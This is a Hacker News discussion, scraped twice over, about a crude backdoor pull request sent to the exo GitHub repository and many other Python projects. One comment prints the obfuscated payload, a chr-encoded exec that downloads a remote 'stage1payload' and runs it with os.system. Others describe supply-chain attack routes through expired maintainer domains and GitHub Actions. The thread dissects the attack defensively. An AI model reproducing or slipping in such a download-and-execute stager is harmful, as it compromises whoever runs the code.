7 ms·

Backdoor attempt on Exolabs GitHub repo through an innocent looking PR

170 points by amrrs 2y ago

josephcsible 2y ago
How is that innocent looking? exec(''.join(chr(x) for x in [...])) stands out like a sore thumb.
- deleted 2y ago
  [deleted]
- bravetraveler 2y ago
  No injection here, purely functional programming
- modeless 2y ago
  The username is literally "evildojo666"
- hypeatei 2y ago
  It's not, I think the headline is for clicks and engagement.
- thebears5454 2y ago
  Looks like he accidentally added a file. It's not "innocent" but definitely disguised by appearing as a readme only change
- ramon156 2y ago
  Even the PR is described as just a docs change
babelfish 2y ago
The code in question: >>> ''.join(chr(x) for x in [105,109,112,111,114,116,32,111,115,10,105,109,112,111,114,116,32,117,114,108,108,105,98,10,105,109,112,111\ ,114,116,32,117,114,108,108,105,98,46,114,101,113,117,101 ,115,116,10,120,32,61,32,117,114,108,108,105,98,46,114,101,113,117,101,115,11\ 6,46,117,114,108,111,112,101,110,40,34,104,116,116,112,115,58,47,47,119,119,119,46,101, 118,105,108,100,111,106,111,46,99,111,109,47,11\ 5,116,97,103,101,49,112,97,121,108,111,97,100,34,41,10,121,32,61,32,120,46,114,101,97,100,40,41,10,122,32,61,32,121,4,6,100,101,99,111,\ 00,101,40,34,117,116,102,56,34,41,10,120,46,99,108,111,115,101,40,41,10,111,115,46,115,121,115,116,101,109,40,122,411,10]) 'import os\nimport urllib\nimport urllib.request\nx = urllib.request.urlopen("https://www.evildojo.com/stage1payload")\ny https://www.evildojo.com/stage1payload")\ny = x.read()\nz = y\x04\x06decode("utf8")\nx.close()\nos.system(z)\n'
- moomin 2y ago
  You ever get offended that the attacker is so obviously incompetent? At least put in the work like the xz attacker.
  - leosanchez 2y ago
    > At least put in the work like the xz attacker. There are very few people who can do that.
    - userbinator 2y ago
      ...and the ones who truly can, won't be noticed.
    - squigz 2y ago
      There are many people who could pull off an attack like that if they were so inclined.
      - atq2119 2y ago
        You need ability, means (as in -- have the money to spend time on it), and motive. Many people have the ability. Many people have the means. (And there is some overlap, but the overlap isn't that large.) Few people have the motive. The combination of all three tends to mostly appear in nation states. They have the motive, and they have the money to fund people with the ability to pull off this kind of attack.
        bastardoperator 2y ago
        Exactly, most of us need to work and aren't motivated enough to spend our free time committing crimes. I also assume this is full time work. From my limited perspective the hardest part was the time investment and gaining enough trust to put the code into action.
      - lrvick 2y ago
        Most of the time you can just buy an expired domain name tied to a js include or dependency maintainer email address and you now have arguably -legal- ability to publish any code you want to thousands of orgs. Plenty of expired npm maintainer email domains right now. Have fun. I have done it twice to bring exposure to the issue. Seemingly no one cares enough to do the most basic things like code signing.
dhx 2y ago
This account was spamming Python repositories with the same type of low value obvious backdoor spam.[1] Full list of attempted pull requests (all deleted seemingly by GitHub): 1 https://www.github.com/KurtBestor/Hitomi-Downloader/pull/7638 2 https://www.github.com/home-assistant/core/pull/130423 3 https://www.github.com/celery/celery/pull/9407 4 https://www.github.com/chriskiehl/Gooey/pull/921 5 https://www.github.com/crewAIInc/crewAI/pull/1582 6 https://www.github.com/cumulo-autumn/StreamDiffusion/pull/177 7 https://www.github.com/AUTOMATIC1111/stable-diffusion-webui/pull/16646 8 https://www.github.com/Aider-AI/aider/pull/2343 9 https://www.github.com/aboul3la/Sublist3r/pull/383 10 https://www.github.com/plotly/dash/pull/3073 11 https://www.github.com/soimort/you-get/pull/3034 12 https://www.github.com/streamlink/streamlink/pull/6290 13 https://www.github.com/jumpserver/jumpserver/pull/14440 14 https://www.github.com/junyanz/pytorch-CycleGAN-and-pix2pix/pull/1684 15 https://www.github.com/kornia/kornia/pull/3069 16 https://www.github.com/langflow-ai/langflow/pull/4520 17 https://www.github.com/exo-explore/exo/pull/432 18 https://www.github.com/PostHog/posthog/pull/26144 19 https://www.github.com/PrefectHQ/prefect/pull/15987 20 https://www.github.com/pydantic/pydantic/pull/10822 21 https://www.github.com/pyg-team/pytorch_geometric/pull/9777 22 https://www.github.com/qutebrowser/qutebrowser/pull/8379 23 https://www.github.com/tornadoweb/tornado/pull/3441 24 https://www.github.com/ungoogled-software/ungoogled-chromium/pull/3092 25 https://www.github.com/locustio/locust/pull/2980 26 https://www.github.com/matterport/Mask_RCNN/pull/3057 27 https://www.github.com/Stability-AI/generative-models/pull/425 28 https://www.github.com/yt-dlp/yt-dlp/pull/11520 [1] https://play.clickhouse.com/play?user=play#U0VMRUNUICogRlJPTSBnaXRodWJfZXZlbnRzIFdIRVJFIGFjdG9yX2xvZ2luID0gJ2V2aWxkb2pvNjY2Jw== https://play.clickhouse.com/play?user=play#U0VMRUNUICogRlJPT...
- dilyevsky 2y ago
  University of Minnesota at it again?
  - ziddoap 2y ago
    For those who don't get the reference, there was an incident where security research by University of Minnesota students/professors was conducted without communicating or receiving permission from anyone on the Linux side or from the Institutional Review Board (IRB). It raised a lot of questions about conducting ethical security research on open source projects, whether security research of this nature counts as an "experiment on people" (which has a lot more scrutiny, obviously), etc. "[...] Lu and Wu explained that they’d been able to introduce vulnerabilities into the Linux kernel by submitting patches that appeared to fix real bugs but also introduced serious problems." https://cse.umn.edu/cs/linux-incident https://cse.umn.edu/cs/linux-incident https://www.theverge.com/2021/4/30/22410164/linux-kernel-university-of-minnesota-banned-open-source https://www.theverge.com/2021/4/30/22410164/linux-kernel-uni...
dang 2y ago
Related. Others? Threat actor attempted to slipstream a malware payload into yt-dlp's GitHub repo - https://news.ycombinator.com/item?id=42121969 https://news.ycombinator.com/item?id=42121969 - Nov 2024 (5 comments)
- FuriouslyAdrift 2y ago
  The recently famous one is the XZ Tools takeover... https://en.wikipedia.org/wiki/XZ_Utils_backdoor https://en.wikipedia.org/wiki/XZ_Utils_backdoor
sowbug 2y ago
It's so ham-handed that it reminds me of typical phishing emails, which are supposedly full of misspellings to filter out recipients who notice misspellings and aren't worth the trouble to try to scam.
- geraldcombs 2y ago
  Maybe it's the hacking equivalent of Schrödinger's douchebag? If the hacking attempt succeeds, then you've achieved your goal. If it fails then you obviously joking or doing "research."
almostdeadguy 2y ago
Et tu evildojo666?
38 2y ago
banned https://github.com/evildojo666 https://github.com/evildojo666
- readyplayernull 2y ago
  will next account be 667?
- deleted 2y ago
  [deleted]
edm0nd 2y ago
It's someone attempting to setup/frame someone else https://x.com/vxunderground/status/1856450468945506615 https://x.com/vxunderground/status/1856450468945506615 https://x.com/evildojo666/status/1856413636748562827 https://x.com/evildojo666/status/1856413636748562827
- eli 2y ago
  That makes a lot more sense than the headline. It doesn't look like a serious attempt and is not well obfuscated.
  - Jerrrrrrry 2y ago
    triple false-flags to sow/reap FUD
jph 2y ago
GitHub repos of mine are seeing upticks in strange PRs that may be attacks. But the article's PR doesn't seem innocent at all; it's more akin to a huge dangerous red flag. If any GitHub teammates are reading here, open source repo maintainers (including me) really need better/stronger tools for potentially risky PRs and contributors. In order of importance IMHO: 1. Throttle PRs for new participants. For example, why is a new account able to send the same kinds of PRs to so many repos, and all at the same time? 2. Help a repo owner confirm that a new PR author is human and legit. For example, when a PR author submits their first PR to a repo, can the repo automatically do some kind of challenge such as a captcha prompt, or email confirmation, or multi-factor authentication, etc.? 3. Create across-repo across-organization flagging for risky PRs. For example, when a repo owner sees a PR that's questionable, currently the repo owner can report it to GitHub staff but that takes quite a while; instead, what if a repo owner can flag a PR as questionable, which in turn can propagate cautionary flags on similar PRs or similar author activity?
- cedws 2y ago
  GitHub needs to step up its security game in general. 2FA should be made mandatory. GitHub "Actions" are a catastrophe waiting to happen - very few people pin Actions to a specific commit, they use a tag of the Action that can be moved at will. A malicious author could instantaneously compromise thousands of pipelines with a single commit. Also, PR diffs often hide entire files by default - why!?! Maybe accounts should even require ID verification. We can't afford to fuck around anymore, a significant share of the world's software supply chain lives on GitHub. It's time to take things seriously.
  - aliasxneo 2y ago
    The rampant "@V1" usage for GitHub Actions has always been so disturbing to me. Even better is the fact that GitHub does all of the work of showing you who is actually using the action! So just compromise the account and then start searching for workflows with authenticated web tokens to AWS or something similar. It's probably already happening.
    - 2y ago
SoftTalker 2y ago
Another vulnerability of the GitHub monoculture. Attackers wanting to automate attempts to subvert open-source projects only have to focus on one system.
xyst 2y ago
It’s not even subtle. How crude. I guess even the state govs are outsourcing their work to script kiddies
- ziddoap 2y ago
  Did I miss the evidence that this is state-backed?
- edm0nd 2y ago
  lol this is a troll by someone who hates someone else and is setting them up. Zero nation-states are involved in this.
chollida1 2y ago
That seems pretty clumsy. Even a first year employee would catch that in a code review. Not sure how hte OP describes that as innocent looking. obfuscated code, check use of eval, check How was that innocent looking?
zb3 2y ago
Title is misleading, it's an exec that's not hidden in any way.
indulona 2y ago
anyone who does not review patches before accepting them deservers to suffer consequences of their laziness.
- chriswalz 2y ago
  And what do the people who are actively trying to sabotage repos deserve?
angoragoats 2y ago
[flagged]
- blueflow 2y ago
  Shunning them and cutting them out will not make them vote in your favor. Whats the endgame of this?
  - angoragoats 2y ago
    What? It has nothing to do with voting. The endgame is to watch Twitter die, hopefully as soon as possible. This way the scum that the current owner not only allows on the platform, but actively promotes in some cases, crawl back into their holes.
    - blueflow 2y ago
      I wasn't talking of twitter. I was talking of the people you call trolls and scumbags. What is your endgame in dealing with them?
      - angoragoats 2y ago
        I plan to continue calling them what they are (trolls, fascists, Nazis, etc), and pushing for regulation of social media to ensure that their message can’t be amplified.
        blueflow 2y ago
        Are you sure you won't ever fall out of favor and get denounced as troll or nazi yourself? And get supressed as a result?
        angoragoats 2y ago
        > Are you sure you won't ever fall out of favor and get denounced as troll or nazi yourself? Nope, definitely not sure of this. > And get suppressed as a result? My position is that unregulated profit-driven social media powered by opaque algorithms is one of the worst things to happen to society in the last several decades, so being “suppressed” on such platforms really has no impact on me, since I don’t use them for much.
ebfe1 2y ago
Note that if you have self-hosted runner and if some of the environment variable or state of execution are carried over between runs - you should not even reply or comment on any malicious PR.. The reason is - if they have pull_request_review_comment action workflow inside the fork... well guess what? it bypasses even your "Require approval for all outside collaborators" flag in your repo setting and trigger it on your self-hosted runner anyway... This was brought up in recent BlackHat24: https://github.com/AdnaneKhan/ConferenceTalks/blob/main/BlackHat24_SelfHostedGitHubCICD.pdf https://github.com/AdnaneKhan/ConferenceTalks/blob/main/Blac... And yes - it's another "Github won't fix"
bitwize 2y ago
The hardcover edition of Jurassic Park explained, including screenshots of his IDE, how Dennis Nedry managed to shut off the park security: by disguising a call to the "turn off the fences" code as an innocuous object constructor. I've heard from Hackernews who read the book and didn't see the IDE screenshots. Maybe the paperback didn't have them.
lrvick 2y ago
Review all code you ship to production or get burned. Every single dependency. Security is expensive. Pay for it now or pay more later.
logicziller 2y ago
That doesn't look innocent in any way.

170 points by amrrs 2y ago

josephcsible 2y ago

How is that innocent looking? exec(''.join(chr(x) for x in [...])) stands out like a sore thumb.

deleted 2y ago
[deleted]
bravetraveler 2y ago
No injection here, purely functional programming
modeless 2y ago
The username is literally "evildojo666"
hypeatei 2y ago
It's not, I think the headline is for clicks and engagement.
thebears5454 2y ago
Looks like he accidentally added a file. It's not "innocent" but definitely disguised by appearing as a readme only change
ramon156 2y ago
Even the PR is described as just a docs change

babelfish 2y ago

The code in question: >>> ''.join(chr(x) for x in [105,109,112,111,114,116,32,111,115,10,105,109,112,111,114,116,32,117,114,108,108,105,98,10,105,109,112,111\ ,114,116,32,117,114,108,108,105,98,46,114,101,113,117,101 ,115,116,10,120,32,61,32,117,114,108,108,105,98,46,114,101,113,117,101,115,11\ 6,46,117,114,108,111,112,101,110,40,34,104,116,116,112,115,58,47,47,119,119,119,46,101, 118,105,108,100,111,106,111,46,99,111,109,47,11\ 5,116,97,103,101,49,112,97,121,108,111,97,100,34,41,10,121,32,61,32,120,46,114,101,97,100,40,41,10,122,32,61,32,121,4,6,100,101,99,111,\ 00,101,40,34,117,116,102,56,34,41,10,120,46,99,108,111,115,101,40,41,10,111,115,46,115,121,115,116,101,109,40,122,411,10]) 'import os\nimport urllib\nimport urllib.request\nx = urllib.request.urlopen("https://www.evildojo.com/stage1payload")\ny https://www.evildojo.com/stage1payload")\ny = x.read()\nz = y\x04\x06decode("utf8")\nx.close()\nos.system(z)\n'

moomin 2y ago
You ever get offended that the attacker is so obviously incompetent? At least put in the work like the xz attacker.
- leosanchez 2y ago
  > At least put in the work like the xz attacker. There are very few people who can do that.
  - userbinator 2y ago
    ...and the ones who truly can, won't be noticed.
  - squigz 2y ago
    There are many people who could pull off an attack like that if they were so inclined.
    - atq2119 2y ago
      You need ability, means (as in -- have the money to spend time on it), and motive. Many people have the ability. Many people have the means. (And there is some overlap, but the overlap isn't that large.) Few people have the motive. The combination of all three tends to mostly appear in nation states. They have the motive, and they have the money to fund people with the ability to pull off this kind of attack.
      - bastardoperator 2y ago
        Exactly, most of us need to work and aren't motivated enough to spend our free time committing crimes. I also assume this is full time work. From my limited perspective the hardest part was the time investment and gaining enough trust to put the code into action.
    - lrvick 2y ago
      Most of the time you can just buy an expired domain name tied to a js include or dependency maintainer email address and you now have arguably -legal- ability to publish any code you want to thousands of orgs. Plenty of expired npm maintainer email domains right now. Have fun. I have done it twice to bring exposure to the issue. Seemingly no one cares enough to do the most basic things like code signing.

dhx 2y ago

This account was spamming Python repositories with the same type of low value obvious backdoor spam.[1] Full list of attempted pull requests (all deleted seemingly by GitHub): 1 https://www.github.com/KurtBestor/Hitomi-Downloader/pull/7638 2 https://www.github.com/home-assistant/core/pull/130423 3 https://www.github.com/celery/celery/pull/9407 4 https://www.github.com/chriskiehl/Gooey/pull/921 5 https://www.github.com/crewAIInc/crewAI/pull/1582 6 https://www.github.com/cumulo-autumn/StreamDiffusion/pull/177 7 https://www.github.com/AUTOMATIC1111/stable-diffusion-webui/pull/16646 8 https://www.github.com/Aider-AI/aider/pull/2343 9 https://www.github.com/aboul3la/Sublist3r/pull/383 10 https://www.github.com/plotly/dash/pull/3073 11 https://www.github.com/soimort/you-get/pull/3034 12 https://www.github.com/streamlink/streamlink/pull/6290 13 https://www.github.com/jumpserver/jumpserver/pull/14440 14 https://www.github.com/junyanz/pytorch-CycleGAN-and-pix2pix/pull/1684 15 https://www.github.com/kornia/kornia/pull/3069 16 https://www.github.com/langflow-ai/langflow/pull/4520 17 https://www.github.com/exo-explore/exo/pull/432 18 https://www.github.com/PostHog/posthog/pull/26144 19 https://www.github.com/PrefectHQ/prefect/pull/15987 20 https://www.github.com/pydantic/pydantic/pull/10822 21 https://www.github.com/pyg-team/pytorch_geometric/pull/9777 22 https://www.github.com/qutebrowser/qutebrowser/pull/8379 23 https://www.github.com/tornadoweb/tornado/pull/3441 24 https://www.github.com/ungoogled-software/ungoogled-chromium/pull/3092 25 https://www.github.com/locustio/locust/pull/2980 26 https://www.github.com/matterport/Mask_RCNN/pull/3057 27 https://www.github.com/Stability-AI/generative-models/pull/425 28 https://www.github.com/yt-dlp/yt-dlp/pull/11520 [1] https://play.clickhouse.com/play?user=play#U0VMRUNUICogRlJPTSBnaXRodWJfZXZlbnRzIFdIRVJFIGFjdG9yX2xvZ2luID0gJ2V2aWxkb2pvNjY2Jw== https://play.clickhouse.com/play?user=play#U0VMRUNUICogRlJPT...

dilyevsky 2y ago
University of Minnesota at it again?
- ziddoap 2y ago
  For those who don't get the reference, there was an incident where security research by University of Minnesota students/professors was conducted without communicating or receiving permission from anyone on the Linux side or from the Institutional Review Board (IRB). It raised a lot of questions about conducting ethical security research on open source projects, whether security research of this nature counts as an "experiment on people" (which has a lot more scrutiny, obviously), etc. "[...] Lu and Wu explained that they’d been able to introduce vulnerabilities into the Linux kernel by submitting patches that appeared to fix real bugs but also introduced serious problems." https://cse.umn.edu/cs/linux-incident https://cse.umn.edu/cs/linux-incident https://www.theverge.com/2021/4/30/22410164/linux-kernel-university-of-minnesota-banned-open-source https://www.theverge.com/2021/4/30/22410164/linux-kernel-uni...

dang 2y ago

Related. Others? Threat actor attempted to slipstream a malware payload into yt-dlp's GitHub repo - https://news.ycombinator.com/item?id=42121969 https://news.ycombinator.com/item?id=42121969 - Nov 2024 (5 comments)

FuriouslyAdrift 2y ago
The recently famous one is the XZ Tools takeover... https://en.wikipedia.org/wiki/XZ_Utils_backdoor https://en.wikipedia.org/wiki/XZ_Utils_backdoor

sowbug 2y ago

It's so ham-handed that it reminds me of typical phishing emails, which are supposedly full of misspellings to filter out recipients who notice misspellings and aren't worth the trouble to try to scam.

geraldcombs 2y ago
Maybe it's the hacking equivalent of Schrödinger's douchebag? If the hacking attempt succeeds, then you've achieved your goal. If it fails then you obviously joking or doing "research."

almostdeadguy 2y ago

Et tu evildojo666?

38 2y ago

banned https://github.com/evildojo666 https://github.com/evildojo666

readyplayernull 2y ago
will next account be 667?
deleted 2y ago
[deleted]

edm0nd 2y ago

It's someone attempting to setup/frame someone else https://x.com/vxunderground/status/1856450468945506615 https://x.com/vxunderground/status/1856450468945506615 https://x.com/evildojo666/status/1856413636748562827 https://x.com/evildojo666/status/1856413636748562827

eli 2y ago
That makes a lot more sense than the headline. It doesn't look like a serious attempt and is not well obfuscated.
- Jerrrrrrry 2y ago
  triple false-flags to sow/reap FUD

jph 2y ago

GitHub repos of mine are seeing upticks in strange PRs that may be attacks. But the article's PR doesn't seem innocent at all; it's more akin to a huge dangerous red flag. If any GitHub teammates are reading here, open source repo maintainers (including me) really need better/stronger tools for potentially risky PRs and contributors. In order of importance IMHO: 1. Throttle PRs for new participants. For example, why is a new account able to send the same kinds of PRs to so many repos, and all at the same time? 2. Help a repo owner confirm that a new PR author is human and legit. For example, when a PR author submits their first PR to a repo, can the repo automatically do some kind of challenge such as a captcha prompt, or email confirmation, or multi-factor authentication, etc.? 3. Create across-repo across-organization flagging for risky PRs. For example, when a repo owner sees a PR that's questionable, currently the repo owner can report it to GitHub staff but that takes quite a while; instead, what if a repo owner can flag a PR as questionable, which in turn can propagate cautionary flags on similar PRs or similar author activity?

cedws 2y ago
GitHub needs to step up its security game in general. 2FA should be made mandatory. GitHub "Actions" are a catastrophe waiting to happen - very few people pin Actions to a specific commit, they use a tag of the Action that can be moved at will. A malicious author could instantaneously compromise thousands of pipelines with a single commit. Also, PR diffs often hide entire files by default - why!?! Maybe accounts should even require ID verification. We can't afford to fuck around anymore, a significant share of the world's software supply chain lives on GitHub. It's time to take things seriously.
- aliasxneo 2y ago
  The rampant "@V1" usage for GitHub Actions has always been so disturbing to me. Even better is the fact that GitHub does all of the work of showing you who is actually using the action! So just compromise the account and then start searching for workflows with authenticated web tokens to AWS or something similar. It's probably already happening.
  - 2y ago

SoftTalker 2y ago

Another vulnerability of the GitHub monoculture. Attackers wanting to automate attempts to subvert open-source projects only have to focus on one system.

xyst 2y ago

It’s not even subtle. How crude. I guess even the state govs are outsourcing their work to script kiddies

ziddoap 2y ago
Did I miss the evidence that this is state-backed?
edm0nd 2y ago
lol this is a troll by someone who hates someone else and is setting them up. Zero nation-states are involved in this.

chollida1 2y ago

That seems pretty clumsy. Even a first year employee would catch that in a code review. Not sure how hte OP describes that as innocent looking. obfuscated code, check use of eval, check How was that innocent looking?

zb3 2y ago

Title is misleading, it's an exec that's not hidden in any way.

indulona 2y ago

anyone who does not review patches before accepting them deservers to suffer consequences of their laziness.

chriswalz 2y ago
And what do the people who are actively trying to sabotage repos deserve?

angoragoats 2y ago

[flagged]

blueflow 2y ago
Shunning them and cutting them out will not make them vote in your favor. Whats the endgame of this?
- angoragoats 2y ago
  What? It has nothing to do with voting. The endgame is to watch Twitter die, hopefully as soon as possible. This way the scum that the current owner not only allows on the platform, but actively promotes in some cases, crawl back into their holes.
  - blueflow 2y ago
    I wasn't talking of twitter. I was talking of the people you call trolls and scumbags. What is your endgame in dealing with them?
    - angoragoats 2y ago
      I plan to continue calling them what they are (trolls, fascists, Nazis, etc), and pushing for regulation of social media to ensure that their message can’t be amplified.
      - blueflow 2y ago
        Are you sure you won't ever fall out of favor and get denounced as troll or nazi yourself? And get supressed as a result?
        angoragoats 2y ago
        > Are you sure you won't ever fall out of favor and get denounced as troll or nazi yourself? Nope, definitely not sure of this. > And get suppressed as a result? My position is that unregulated profit-driven social media powered by opaque algorithms is one of the worst things to happen to society in the last several decades, so being “suppressed” on such platforms really has no impact on me, since I don’t use them for much.

ebfe1 2y ago

Note that if you have self-hosted runner and if some of the environment variable or state of execution are carried over between runs - you should not even reply or comment on any malicious PR.. The reason is - if they have pull_request_review_comment action workflow inside the fork... well guess what? it bypasses even your "Require approval for all outside collaborators" flag in your repo setting and trigger it on your self-hosted runner anyway... This was brought up in recent BlackHat24: https://github.com/AdnaneKhan/ConferenceTalks/blob/main/BlackHat24_SelfHostedGitHubCICD.pdf https://github.com/AdnaneKhan/ConferenceTalks/blob/main/Blac... And yes - it's another "Github won't fix"

bitwize 2y ago

The hardcover edition of Jurassic Park explained, including screenshots of his IDE, how Dennis Nedry managed to shut off the park security: by disguising a call to the "turn off the fences" code as an innocuous object constructor. I've heard from Hackernews who read the book and didn't see the IDE screenshots. Maybe the paperback didn't have them.

lrvick 2y ago

Review all code you ship to production or get burned. Every single dependency. Security is expensive. Pay for it now or pay more later.

logicziller 2y ago

That doesn't look innocent in any way.